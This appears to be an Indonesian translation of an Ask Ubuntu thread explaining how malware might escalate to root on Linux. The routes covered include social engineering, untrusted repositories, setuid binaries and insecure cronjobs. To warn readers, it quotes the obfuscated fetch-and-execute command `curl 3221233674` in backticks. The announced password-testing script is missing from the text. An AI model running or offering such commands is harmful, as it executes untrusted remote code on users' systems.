Saya mengerti bahwa jika ada malware yang masuk ke sistem Linux, ia akan, paling banyak, mendapatkan hak istimewa tingkat pengguna dan merusak apa pun dalam jangkauan pengguna tertentu, yaitu file milik pengguna.
Tapi apa sebenarnya yang mencegah malwares mendapatkan akses tingkat root? Bisakah itu entah bagaimana memecahkan kata sandi dari dalam?
Jawaban:
Ini pertanyaan kompleks. Ada banyak lapisan keamanan yang berbeda dalam sistem Ubuntu, dari kerangka kerja yang kompleks seperti AppArmor hingga variabel kernel yang rendah hati
mmap_min_addr
. Anda dapat menambahkan beberapa fitur kernel seperti pengacakan memori dalam campuran. Anda dapat menemukan daftar mereka bersama dengan penjelasan cepat di Wiki Ubuntu .Faktor penting lainnya adalah pembaruannya cepat dan mudah - sehingga kebanyakan komputer akan diperbarui ke perbaikan keamanan terakhir.
Sejauh yang saya tahu, seorang penyerang yang telah mendapatkan akses lokal ke komputer Anda memiliki tiga cara untuk menskalakan hak istimewa kernel:
Pecahkan kata sandi. Tetapi ini akan sangat sulit, kata sandi disimpan dienkripsi, menggunakan algoritma tanpa cacat yang diketahui. Butuh waktu lama untuk memecahkannya.
Bug di kernel. Tetapi semua fitur keamanan kernel akan menghalangi.
Trik pengguna untuk memberikan kata sandi, yaitu rekayasa sosial. Cukup tampilkan dialog kata sandi palsu atau gunakan trik lain. Ini adalah cara termudah untuk melakukannya.
Poin ketiga adalah kerentanan terlemah saat ini.
sumber
sudoers
.Memecahkan kata sandi root itu sendiri tidak dimungkinkan, karena Ubuntu secara default menonaktifkan pengguna root. Namun, jika pengguna Anda dapat menjadi root melalui sudo dan kata sandi Anda mudah ditebak / kasar, Anda memiliki sistem yang tidak aman. Contoh skrip mencoba menguji beberapa kata sandi:
Menambahkan repositori yang tidak terpercaya memungkinkan program dari repositori itu diinstal. Bahkan jika Anda tidak menginstal aplikasi seperti secara eksplisit
sudo apt-get install [app-from-repo]
, repositori masih dapat mempengaruhi program lain dengan membuat Ubuntu percaya bahwa repositori berisi versi yang lebih baru dari suatu program tertentu.Proses pembaruan dijalankan sebagai root, jika file tidak dapat ditulis ke
/usr/bin
atau/etc
. Pemicu instalasi juga dijalankan sebagai root dan dapat dijalankan secara sewenang-wenang, dan mungkin, perintah yang berbahaya. Sekarang, jangan khawatir, tindakan manual diperlukan untuk memperbarui program dan repositori Ubuntu aman. Perangkat lunak sumber tertutup seperti Windows tidak pernah dapat sepenuhnya dipercaya karena Anda tidak dapat memeriksa sumber untuk kode berbahaya, tetapi Anda dapat meninjau sumber aplikasi Ubuntu jika perlu (tidak berlaku untuk program sepertisun-java6
atau Flash).Seperti yang disebutkan oleh Javier Rivera, bug kernel dapat menyebabkan eksekusi kode arbitrer, tetapi perangkat lunak yang disadap mungkin berbahaya juga, terutama
setsuid
binari root buggy (binari yang akan berjalan di bawah pemilik file, root) dan program buggy lainnya berjalan sebagai root.Anda dapat membuat lubang keamanan pada sistem Anda jika Anda tidak memperhatikan apa yang Anda lakukan. Misalnya, tanpa sepenuhnya memahami konsep cronjobs, Anda telah menambahkan cronjob
/etc/cron.daily
yang menjalankan program di folder rumah Anda (mis/bin/sh /home/your-username/myscript.sh
. Jika file myscript.sh dapat ditulis oleh Anda dapat dihapus oleh Anda, eksploitasi dapat membahayakan kodemyscript.sh
yang akan dijalankan sebagai root (hak istimewa eskalasi).Agar tetap aman, gunakan pikiran Anda! Jangan menjalankan perintah dari sumber yang tidak dipercaya jika Anda tidak tahu apa fungsinya. Jika seseorang mengatakan lari
`curl 3221233674`
dengan kutu belakang, jangan lakukan. 3221233674 adalah cara lain untuk menulis192.0.32.10
(IP of example.com). Jadi, itu sama dengan:Kutu-balik itu menyebabkan output dieksekusi sebagai perintah shell. Dalam bahasa Inggris yang sederhana, "Unduh halaman http://example.com/ dan cobalah untuk mengeksekusi halaman yang diunduh".
Pada awalnya, Anda tidak akan melihat sesuatu yang berbahaya dalam perintah yang diberikan. Tapi sekarang, Anda tahu itu bisa disalahgunakan juga.
Selalu periksa perintah / skrip yang Anda dapatkan dari sumber yang tidak tepercaya, seperti Internet.
sumber